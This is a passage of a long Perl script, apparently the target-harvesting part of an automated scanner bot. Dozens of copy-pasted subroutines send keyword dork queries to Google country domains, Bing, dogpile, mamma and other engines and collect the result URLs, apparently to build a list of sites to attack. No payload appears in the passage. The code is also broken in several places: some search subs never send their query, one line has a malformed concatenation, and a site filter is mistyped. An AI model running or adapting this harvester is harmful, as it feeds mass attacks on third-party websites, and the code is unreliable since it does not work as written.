  7906. }
  7907.  
  7908. sub nu() {
  7909.     my @list;
  7910.     my $key = $_[0];
  7911.     for (my $i=0; $i<=1000; $i+=100){
  7912.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Anu%26num%3D100%26start%3D".$i);
  7913.         my $res = &search_engine_query($search);
  7914.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7915.             my $link = $1;
  7916.             if ($link !~ /google/){
  7917.                 my @grep = &links($link);
  7918.                 push(@list,@grep);
  7919.             }
  7920.         }
  7921.     }
  7922.     return @list;
  7923. }
  7924.  
  7925. sub pw() {
  7926.     my @list;
  7927.     my $key = $_[0];
  7928.     for (my $i=0; $i<=1000; $i+=100){
  7929.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Apw%26num%3D100%26start%3D".$i);
  7930.         my $res = &search_engine_query($search);
  7931.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7932.             my $link = $1;
  7933.             if ($link !~ /google/){
  7934.                 my @grep = &links($link);
  7935.                 push(@list,@grep);
  7936.             }
  7937.         }
  7938.     }
  7939.     return @list;
  7940. }
  7941.  
  7942. sub ps() {
  7943.     my @list;
  7944.     my $key = $_[0];
  7945.     for (my $i=0; $i<=1000; $i+=100){
  7946.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Aps%26num%3D100%26start%3D".$i);
  7947.         my $res = &search_engine_query($search);
  7948.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7949.             my $link = $1;
  7950.             if ($link !~ /google/){
  7951.                 my @grep = &links($link);
  7952.                 push(@list,@grep);
  7953.             }
  7954.         }
  7955.     }
  7956.     return @list;
  7957. }
  7958.  
  7959. sub cq() {
  7960.     my @list;
  7961.     my $key = $_[0];
  7962.     for (my $i=0; $i<=1000; $i+=100){
  7963.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Acq%26num%3D100%26start%3D".$i);
  7964.         my $res = &search_engine_query($search);
  7965.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7966.             my $link = $1;
  7967.             if ($link !~ /google/){
  7968.                 my @grep = &links($link);
  7969.                 push(@list,@grep);
  7970.             }
  7971.         }
  7972.     }
  7973.     return @list;
  7974. }
  7975.  
  7976. sub re() {
  7977.     my @list;
  7978.     my $key = $_[0];
  7979.     for (my $i=0; $i<=1000; $i+=100){
  7980.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Are%26num%3D100%26start%3D".$i);
  7981.         my $res = &search_engine_query($search);
  7982.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  7983.             my $link = $1;
  7984.             if ($link !~ /google/){
  7985.                 my @grep = &links($link);
  7986.                 push(@list,@grep);
  7987.             }
  7988.         }
  7989.     }
  7990.     return @list;
  7991. }
  7992.  
  7993. sub lc() {
  7994.     my @list;
  7995.     my $key = $_[0];
  7996.     for (my $i=0; $i<=1000; $i+=100){
  7997.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Alc%26num%3D100%26start%3D".$i);
  7998.         my $res = &search_engine_query($search);
  7999.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8000.             my $link = $1;
  8001.             if ($link !~ /google/){
  8002.                 my @grep = &links($link);
  8003.                 push(@list,@grep);
  8004.             }
  8005.         }
  8006.     }
  8007.     return @list;
  8008. }
  8009.  
  8010. sub pm() {
  8011.     my @list;
  8012.     my $key = $_[0];
  8013.     for (my $i=0; $i<=1000; $i+=100){
  8014.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Apm%26num%3D100%26start%3D".$i);
  8015.         my $res = &search_engine_query($search);
  8016.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8017.             my $link = $1;
  8018.             if ($link !~ /google/){
  8019.                 my @grep = &links($link);
  8020.                 push(@list,@grep);
  8021.             }
  8022.         }
  8023.     }
  8024.     return @list;
  8025. }
  8026.  
  8027. sub st() {
  8028.     my @list;
  8029.     my $key = $_[0];
  8030.     for (my $i=0; $i<=1000; $i+=100){
  8031.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Ast%26num%3D100%26start%3D".$i);
  8032.         my $res = &search_engine_query($search);
  8033.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8034.             my $link = $1;
  8035.             if ($link !~ /google/){
  8036.                 my @grep = &links($link);
  8037.                 push(@list,@grep);
  8038.             }
  8039.         }
  8040.     }
  8041.     return @list;
  8042. }
  8043.  
  8044. sub rs() {
  8045.     my @list;
  8046.     my $key = $_[0];
  8047.     for (my $i=0; $i<=1000; $i+=100){
  8048.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Ars%26num%3D100%26start%3D".$i);
  8049.         my $res = &search_engine_query($search);
  8050.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8051.             my $link = $1;
  8052.             if ($link !~ /google/){
  8053.                 my @grep = &links($link);
  8054.                 push(@list,@grep);
  8055.             }
  8056.         }
  8057.     }
  8058.     return @list;
  8059. }
  8060.  
  8061. sub gs() {
  8062.     my @list;
  8063.     my $key = $_[0];
  8064.     for (my $i=0; $i<=1000; $i+=100){
  8065.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Ags%26num%3D100%26start%3D".$i);
  8066.         my $res = &search_engine_query($search);
  8067.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8068.             my $link = $1;
  8069.             if ($link !~ /google/){
  8070.                 my @grep = &links($link);
  8071.                 push(@list,@grep);
  8072.             }
  8073.         }
  8074.     }
  8075.     return @list;
  8076. }
  8077.  
  8078. sub sl() {
  8079.     my @list;
  8080.     my $key = $_[0];
  8081.     for (my $i=0; $i<=1000; $i+=100){
  8082.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Asl%26num%3D100%26start%3D".$i);
  8083.         my $res = &search_engine_query($search);
  8084.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8085.             my $link = $1;
  8086.             if ($link !~ /google/){
  8087.                 my @grep = &links($link);
  8088.                 push(@list,@grep);
  8089.             }
  8090.         }
  8091.     }
  8092.     return @list;
  8093. }
  8094.  
  8095. sub sx() {
  8096.     my @list;
  8097.     my $key = $_[0];
  8098.     for (my $i=0; $i<=1000; $i+=100){
  8099.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Asx%26num%3D100%26start%3D".$i);
  8100.         my $res = &search_engine_query($search);
  8101.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8102.             my $link = $1;
  8103.             if ($link !~ /google/){
  8104.                 my @grep = &links($link);
  8105.                 push(@list,@grep);
  8106.             }
  8107.         }
  8108.     }
  8109.     return @list;
  8110. }
  8111.  
  8112. sub sb() {
  8113.     my @list;
  8114.     my $key = $_[0];
  8115.     for (my $i=0; $i<=1000; $i+=100){
  8116.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Asb%26num%3D100%26start%3D".$i);
  8117.         my $res = &search_engine_query($search);
  8118.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8119.             my $link = $1;
  8120.             if ($link !~ /google/){
  8121.                 my @grep = &links($link);
  8122.                 push(@list,@grep);
  8123.             }
  8124.         }
  8125.     }
  8126.     return @list;
  8127. }
  8128.  
  8129. sub so() {
  8130.     my @list;
  8131.     my $key = $_[0];
  8132.     for (my $i=0; $i<=1000; $i+=100){
  8133.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Aso%26num%3D100%26start%3D".$i);
  8134.         my $res = &search_engine_query($search);
  8135.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8136.             my $link = $1;
  8137.             if ($link !~ /google/){
  8138.                 my @grep = &links($link);
  8139.                 push(@list,@grep);
  8140.             }
  8141.         }
  8142.     }
  8143.     return @list;
  8144. }
  8145.  
  8146. sub su() {
  8147.     my @list;
  8148.     my $key = $_[0];
  8149.     for (my $i=0; $i<=1000; $i+=100){
  8150.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Asu%26num%3D100%26start%3D".$i);
  8151.         my $res = &search_engine_query($search);
  8152.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8153.             my $link = $1;
  8154.             if ($link !~ /google/){
  8155.                 my @grep = &links($link);
  8156.                 push(@list,@grep);
  8157.             }
  8158.         }
  8159.     }
  8160.     return @list;
  8161. }
  8162.  
  8163. sub kn() {
  8164.     my @list;
  8165.     my $key = $_[0];
  8166.     for (my $i=0; $i<=1000; $i+=100){
  8167.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Arokn%26num%3D100%26start%3D".$i);
  8168.         my $res = &search_engine_query($search);
  8169.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8170.             my $link = $1;
  8171.             if ($link !~ /google/){
  8172.                 my @grep = &links($link);
  8173.                 push(@list,@grep);
  8174.             }
  8175.         }
  8176.     }
  8177.     return @list;
  8178. }
  8179.  
  8180. sub sr() {
  8181.     my @list;
  8182.     my $key = $_[0];
  8183.     for (my $i=0; $i<=1000; $i+=100){
  8184.         my $search = ($jack11.uri_escape($key)."%2Bsite%3Asr%26num%3D100%26start%3D".$i);
  8185.         my $res = &search_engine_query($search);
  8186.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8187.             my $link = $1;
  8188.             if ($link !~ /google/){
  8189.                 my @grep = &links($link);
  8190.                 push(@list,@grep);
  8191.             }
  8192.         }
  8193.     }
  8194.     return @list;
  8195. }
  8196.  
  8197. sub tz() {
  8198.     my @list;
  8199.     my $key = $_[0];
  8200.     for (my $i=0; $i<=1000; $i+=100){
  8201.         my $search = ($jack12.uri_escape($key)."%2Bsite%3Atz%26num%3D100%26start%3D".$i);
  8202.         my $res = &search_engine_query($search);
  8203.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8204.             my $link = $1;
  8205.             if ($link !~ /google/){
  8206.                 my @grep = &links($link);
  8207.                 push(@list,@grep);
  8208.             }
  8209.         }
  8210.     }
  8211.     return @list;
  8212. }
  8213.  
  8214. sub tl() {
  8215.     my @list;
  8216.     my $key = $_[0];
  8217.     for (my $i=0; $i<=1000; $i+=100){
  8218.         my $search = ($jack13.uri_escape($key)."%2Bsite%3Atl%26num%3D100%26start%3D".$i);
  8219.         my $res = &search_engine_query($search);
  8220.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8221.             my $link = $1;
  8222.             if ($link !~ /google/){
  8223.                 my @grep = &links($link);
  8224.                 push(@list,@grep);
  8225.             }
  8226.         }
  8227.     }
  8228.     return @list;
  8229. }
  8230.  
  8231. sub tg() {
  8232.     my @list;
  8233.     my $key = $_[0];
  8234.     for (my $i=0; $i<=1000; $i+=100){
  8235.         my $search = ($jack4.uri_escape($key)."%2Bsite%3Atg%26num%3D100%26start%3D".$i);
  8236.         my $res = &search_engine_query($search);
  8237.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8238.             my $link = $1;
  8239.             if ($link !~ /google/){
  8240.                 my @grep = &links($link);
  8241.                 push(@list,@grep);
  8242.             }
  8243.         }
  8244.     }
  8245.     return @list;
  8246. }
  8247.  
  8248. sub tk() {
  8249.     my @list;
  8250.     my $key = $_[0];
  8251.     for (my $i=0; $i<=1000; $i+=100){
  8252.         my $search = ($jack5.uri_escape($key)."%2Bsite%3Atk%26num%3D100%26start%3D".$i);
  8253.         my $res = &search_engine_query($search);
  8254.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8255.             my $link = $1;
  8256.             if ($link !~ /google/){
  8257.                 my @grep = &links($link);
  8258.                 push(@list,@grep);
  8259.             }
  8260.         }
  8261.     }
  8262.     return @list;
  8263. }
  8264.  
  8265. sub tn() {
  8266.     my @list;
  8267.     my $key = $_[0];
  8268.     for (my $i=0; $i<=1000; $i+=100){
  8269.         my $search = ($jack6.uri_escape($key)."%2Bsite%3Atn%26num%3D100%26start%3D".$i);
  8270.         my $res = &search_engine_query($search);
  8271.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8272.             my $link = $1;
  8273.             if ($link !~ /google/){
  8274.                 my @grep = &links($link);
  8275.                 push(@list,@grep);
  8276.             }
  8277.         }
  8278.     }
  8279.     return @list;
  8280. }
  8281.  
  8282. sub tc() {
  8283.     my @list;
  8284.     my $key = $_[0];
  8285.     for (my $i=0; $i<=1000; $i+=100){
  8286.         my $search = ($jack7.uri_escape($key)."%2Bsite%3Atc%26num%3D100%26start%3D".$i);
  8287.         my $res = &search_engine_query($search);
  8288.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8289.             my $link = $1;
  8290.             if ($link !~ /google/){
  8291.                 my @grep = &links($link);
  8292.                 push(@list,@grep);
  8293.             }
  8294.         }
  8295.     }
  8296.     return @list;
  8297. }
  8298.  
  8299. sub vu() {
  8300.     my @list;
  8301.     my $key = $_[0];
  8302.     for (my $i=0; $i<=1000; $i+=100){
  8303.         my $search = ($jack8.uri_escape($key)."%2Bsite%3Avu%26num%3D100%26start%3D".$i);
  8304.         my $res = &search_engine_query($search);
  8305.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8306.             my $link = $1;
  8307.             if ($link !~ /google/){
  8308.                 my @grep = &links($link);
  8309.                 push(@list,@grep);
  8310.             }
  8311.         }
  8312.     }
  8313.     return @list;
  8314. }
  8315.  
  8316. sub wf() {
  8317.     my @list;
  8318.     my $key = $_[0];
  8319.     for (my $i=0; $i<=1000; $i+=100){
  8320.         my $search = ($jack9.uri_escape($key)."%2Bsite%3Awf%26num%3D100%26start%3D".$i);
  8321.         my $res = &search_engine_query($search);
  8322.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8323.             my $link = $1;
  8324.             if ($link !~ /google/){
  8325.                 my @grep = &links($link);
  8326.                 push(@list,@grep);
  8327.             }
  8328.         }
  8329.     }
  8330.     return @list;
  8331. }
  8332.  
  8333. sub ws() {
  8334.     my @list;
  8335.     my $key = $_[0];
  8336.     for (my $i=0; $i<=1000; $i+=100){
  8337.         my $search = ($jack10.uri_escape($key)."%2Bsite%3Aws%26num%3D100%26start%3D".$i);
  8338.         my $res = &search_engine_query($search);
  8339.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8340.             my $link = $1;
  8341.             if ($link !~ /google/){
  8342.                 my @grep = &links($link);
  8343.                 push(@list,@grep);
  8344.             }
  8345.         }
  8346.     }
  8347.     return @list;
  8348. }
  8349.  
  8350. sub ye() {
  8351.     my @list;
  8352.     my $key = $_[0];
  8353.     for (my $i=0; $i<=1000; $i+=100){
  8354.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Aye%26num%3D100%26start%3D".$i);
  8355.         my $res = &search_engine_query($search);
  8356.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8357.             my $link = $1;
  8358.             if ($link !~ /google/){
  8359.                 my @grep = &links($link);
  8360.                 push(@list,@grep);
  8361.             }
  8362.         }
  8363.     }
  8364.     return @list;
  8365. }
  8366.  
  8367. sub zw() {
  8368.     my @list;
  8369.     my $key = $_[0];
  8370.     for (my $i=0; $i<=1000; $i+=100){
  8371.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Azw%26num%3D100%26start%3D".$i);
  8372.         my $res = &search_engine_query($search);
  8373.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8374.             my $link = $1;
  8375.             if ($link !~ /google/){
  8376.                 my @grep = &links($link);
  8377.                 push(@list,@grep);
  8378.             }
  8379.         }
  8380.     }
  8381.     return @list;
  8382. }
  8383. ######################################### SEARCH ENGINE
  8384. sub becak() {
  8385.     my @list;
  8386.     my $num=50;
  8387.     my $max=1000;
  8388.     my $key = $_[0];
  8389.     my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm","co.kr");
  8390.     foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
  8391.         for ($i=0; $i<=$max; $i+=$num) {
  8392.             my $search = ("http://www.google.".$domain."/search?num=50&q=".&key($key)."&start=".."&sa=N");
  8393.             my $res = search_engine_query($search);
  8394.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8395.             my $link = $1;
  8396.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8397.             my @grep = links($link);
  8398.             push(@list,@grep);
  8399.         }
  8400.             }
  8401.         }
  8402.         return @list;
  8403.     }
  8404. }
  8405.  
  8406. sub searchnz() {
  8407.     my @list;
  8408.     my $num=50;
  8409.     my $max=1000;
  8410.     my $key = $_[0];
  8411.     for ($i=0; $i<=$max; $i+=$num) {
  8412.         my $search = ("http://searchnz.co.nz/search.aspx?q=".&key($key)."&gr=false&np=".$i);
  8413.         my $res = search_engine_query($search);
  8414.         while ($res =~ m/\">http:\/\/(.*?)<\/a><\/div>/g) {
  8415.             if ($1 !~ /webads\.co\.nz/){
  8416.                 my $link = $1;
  8417.                 my @grep = &links($link);
  8418.                 push(@list,@grep);
  8419.             }
  8420.         }
  8421.     }
  8422.     return @list;
  8423. }
  8424. sub xxx() {
  8425.     my @list;
  8426.     my $num=50;
  8427.     my $max=1000;
  8428.     my $key = $_[0];
  8429.     for ($i=0; $i<=$max; $i+=$num) {
  8430.         my $search = ("http://www.search.xxx/search/?q=".&key($key)."&lr=all&cat=&or=&start=".$i);
  8431.         my $res = search_engine_query($search);
  8432.         while ($res =~ m/<h2 class=\"result-web\">(.*?)<\/h2>/g) {
  8433.             if ($1 !~ /search\.xxx/){
  8434.                 my $link = $1;
  8435.                 my @grep = &links($link);
  8436.                 push(@list,@grep);
  8437.             }
  8438.         }
  8439.     }
  8440.     return @list;
  8441. }
  8442.  
  8443. sub info() {
  8444.     my @list;
  8445.     my $num=50;
  8446.     my $max=1000;
  8447.     my $key = $_[0];
  8448.     for ($i=0; $i<=$max; $i+=$num) {
  8449.         my $search = ("http://www.info.com/searchw?qkw="..&key($key)."&num=20&start=".$i);
  8450.         my $res = &search_engine_query($search);
  8451.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8452.             my $link = $1;
  8453.         if ($link !~ /info/){
  8454.             my @grep = &links($link);
  8455.             push(@list,@grep);
  8456.         }
  8457.     }
  8458. }
  8459. return @list;
  8460. }
  8461. sub bingdomain() {
  8462.     my @list;
  8463.     my $num=50;
  8464.     my $max=1000;
  8465.     my $key = $_[0];
  8466.     my @doms = ("com","com.au","be","com.br","ca","ch","cl","de","dk","fi","fr","gr","com.hk","ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru","com.sg","com.tr","com.tw","com.ua","co.uk","hu","biz","com","edu","gov","info","int","mil","name","net","org","ge","nz","com.my","kr","gr","pl","ac","in","id","as","br","ru","az","ht","rs","rw","ba","sa","ke","kg","su","sk","th","cn","com","net","org","info","us","biz","br","it","asia","id","fr","nl","gr","eu","gov","th","au","tv","ar","be","ca","ch","co","de","dk","es","fi","hk","no","il","ir","jp","kr","my","pe","pl","pt","ru","ro","sg","tr","tw","uk","hu","ph","sk","it","br","kr","cn","mobi","name","at","be","ca","de","fr");
  8467.     foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
  8468.     for ($i=0; $i<=$max; $i+=$num) {
  8469.             my $search = ($juancok11."http://".$domain.".bing.com/search?q=".&key($key)."&num=50&start=".$i);
  8470.             my $res = &search_engine_query($search);
  8471.             while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  8472.                 my $link = $1;
  8473.                 if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|google/) {
  8474.                     my @grep = &links($link);
  8475.                     push(@list,@grep);
  8476.                 }
  8477.             }
  8478.         }
  8479.         return @list;
  8480.     }
  8481. }
  8482.  
  8483. sub altavista() {
  8484.     my @list;
  8485.     my $num=50;
  8486.     my $max=1000;
  8487.     my $key = $_[0];
  8488.     for ($i=0; $i<=$max; $i+=$num) {
  8489.         my $search = ("http://search.yahoo.com/search?fr=altavista&p=".&key($key)."&num=20&start=".$i);
  8490.         my $res = &search_engine_query($search);
  8491.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8492.             my $link = $1;
  8493.         if ($link !~ /altavista/){
  8494.             my @grep = &links($link);
  8495.             push(@list,@grep);
  8496.         }
  8497.     }
  8498. }
  8499. return @list;
  8500. }
  8501. sub searchcom() {
  8502.     my @list;
  8503.     my $num=50;
  8504.     my $max=1000;
  8505.     my $key = $_[0];
  8506.     for ($i=0; $i<=$max; $i+=$num) {
  8507.         my $search = ("http://www.info.com/searchw?qkw=".&key($key)."&num=20&start=".$i);
  8508.         my $res = &search_engine_query($search);
  8509.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8510.             my $link = $1;
  8511.         if ($link !~ /searchcom/){
  8512.             my @grep = &links($link);
  8513.             push(@list,@grep);
  8514.         }
  8515.     }
  8516. }
  8517. return @list;
  8518. }
  8519. sub infospace() {
  8520.     my @list;
  8521.     my $num=50;
  8522.     my $max=1000;
  8523.     my $key = $_[0];
  8524.     for ($i=0; $i<=$max; $i+=$num) {
  8525.         my $search = ("http://www.infospace.com/search/web?fcoid=417&fcop=topnav&fpid=27&q=".&key($key)."&num=20&start=".$i);
  8526.         my $res = &search_engine_query($search);
  8527.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8528.             my $link = $1;
  8529.         if ($link !~ /infospace/){
  8530.             my @grep = &links($link);
  8531.             push(@list,@grep);
  8532.         }
  8533.     }
  8534. }
  8535. return @list;
  8536. }
  8537.  
  8538. sub dogpile() {
  8539.     my @list;
  8540.     my $num=50;
  8541.     my $max=1000;
  8542.     my $key = $_[0];
  8543.     for ($i=0; $i<=$max; $i+=$num) {
  8544.         my $search = ("http://www.dogpile.com/search/web?q=".&key($key)."&num=20&start=".$i);
  8545.         my $res = &search_engine_query($search);
  8546.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8547.             my $link = $1;
  8548.         if ($link !~ /dogpile/){
  8549.             my @grep = &links($link);
  8550.             push(@list,@grep);
  8551.         }
  8552.     }
  8553. }
  8554. return @list;
  8555. }
  8556. sub mamma() {
  8557.     my @list;
  8558.     my $num=50;
  8559.     my $max=1000;
  8560.     my $key = $_[0];
  8561.     for ($i=0; $i<=$max; $i+=$num) {
  8562.         my $search = ("http://www.mamma.com/result.php?q=".&key($key)."&type=web&num=20&start=".$i);
  8563.         my $res = &search_engine_query($search);
  8564.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8565.             my $link = $1;
  8566.         if ($link !~ /mamma/){
  8567.             my @grep = &links($link);
  8568.             push(@list,@grep);
  8569.         }
  8570.     }
  8571. }
  8572. return @list;
  8573. }
  8574. sub excite() {
  8575.     my @list;
  8576.     my $num=50;
  8577.     my $max=1000;
  8578.     my $key = $_[0];
  8579.     for ($i=0; $i<=$max; $i+=$num) {
  8580.         my $search = ("http://iwon.results.myway.com/AJmain.jhtml?searchfor=".&key($key));
  8581.         my $res = &search_engine_query($search);
  8582.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8583.             my $link = $1;
  8584.         if ($link !~ /excite/){
  8585.             my @grep = &links($link);
  8586.             push(@list,@grep);
  8587.         }
  8588.     }
  8589. }
  8590. return @list;
  8591. }
  8592.  
  8593. sub Goo1() {
  8594.     my @list;
  8595.     my $num=50;
  8596.     my $max=1000;
  8597.     my $key = $_[0];
  8598.     for ($i=0; $i<=$max; $i+=$num) {
  8599.         my $search = ($juancok1.&key($key)."&num=20&start=".$i);
  8600.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8601.             my $link = $1;
  8602.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8603.             my @grep = links($link);
  8604.             push(@list,@grep);
  8605.         }
  8606.     }
  8607. }
  8608. return @list;
  8609. }
  8610. sub Goo2() {
  8611.     my @list;
  8612.     my $num=50;
  8613.     my $max=1000;
  8614.     my $key = $_[0];
  8615.     for ($i=0; $i<=$max; $i+=$num) {
  8616.         my $search = ($juancok2.&key($key)."&num=20&start=".$i);
  8617.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8618.             my $link = $1;
  8619.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8620.             my @grep = links($link);
  8621.             push(@list,@grep);
  8622.         }
  8623.     }
  8624. }
  8625. return @list;
  8626. }
  8627. sub Goo3() {
  8628.     my @list;
  8629.     my $num=50;
  8630.     my $max=1000;
  8631.     my $key = $_[0];
  8632.     for ($i=0; $i<=$max; $i+=$num) {
  8633.         my $search = ($juancok3.&key($key)."&num=20&start=".$i);
  8634.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8635.             my $link = $1;
  8636.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8637.             my @grep = links($link);
  8638.             push(@list,@grep);
  8639.         }
  8640.     }
  8641. }
  8642. return @list;
  8643. }
  8644.  
  8645. sub Goo4() {
  8646.     my @list;
  8647.     my $num=50;
  8648.     my $max=1000;
  8649.     my $key = $_[0];
  8650.     for ($i=0; $i<=$max; $i+=$num) {
  8651.         my $search = ($juancok4.&key($key)."&num=20&start=".$i);
  8652.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8653.             my $link = $1;
  8654.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8655.             my @grep = links($link);
  8656.             push(@list,@grep);
  8657.         }
  8658.     }
  8659. }
  8660. return @list;
  8661. }
  8662.  
  8663. sub Goo5() {
  8664.     my @list;
  8665.     my $num=50;
  8666.     my $max=1000;
  8667.     my $key = $_[0];
  8668.     for ($i=0; $i<=$max; $i+=$num) {
  8669.         my $search = ($juancok5.&key($key)."&num=20&start=".$i);
  8670.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8671.             my $link = $1;
  8672.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8673.             my @grep = links($link);
  8674.             push(@list,@grep);
  8675.         }
  8676.     }
  8677. }
  8678. return @list;
  8679. }
  8680. sub Goo6() {
  8681.     my @list;
  8682.     my $num=50;
  8683.     my $max=1000;
  8684.     my $key = $_[0];
  8685.     for ($i=0; $i<=$max; $i+=$num) {
  8686.         my $search = ($juancok6.&key($key)."&num=20&start=".$i);
  8687.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8688.             my $link = $1;
  8689.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8690.             my @grep = links($link);
  8691.             push(@list,@grep);
  8692.         }
  8693.     }
  8694. }
  8695. return @list;
  8696. }
  8697.  
  8698. sub Goo7() {
  8699.     my @list;
  8700.     my $num=50;
  8701.     my $max=1000;
  8702.     my $key = $_[0];
  8703.     for ($i=0; $i<=$max; $i+=$num) {
  8704.         my $search = ($juancok7.&key($key)."&num=20&start=".$i);
  8705.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8706.             my $link = $1;
  8707.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8708.             my @grep = links($link);
  8709.             push(@list,@grep);
  8710.         }
  8711.     }
  8712. }
  8713. return @list;
  8714. }
  8715.  
  8716. sub Goo8() {
  8717.     my @list;
  8718.     my $num=50;
  8719.     my $max=1000;
  8720.     my $key = $_[0];
  8721.     for ($i=0; $i<=$max; $i+=$num) {
  8722.         my $search = ($juancok8.&key($key)."&num=20&start=".$i);
  8723.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  8724.             my $link = $1;
  8725.         if ($link !~ /google|blogspot|facebook|javascript|tvplayvideos|twitter|wiki|googler/){
  8726.             my @grep = links($link);
  8727.             push(@list,@grep);
  8728.         }
  8729.     }
  8730. }
  8731. return @list;
  8732. }
  8733.  
  8734. sub Goo9() {
  8735.     my @list;
  8736.     my $num=50;
  8737.     my $max=1000;
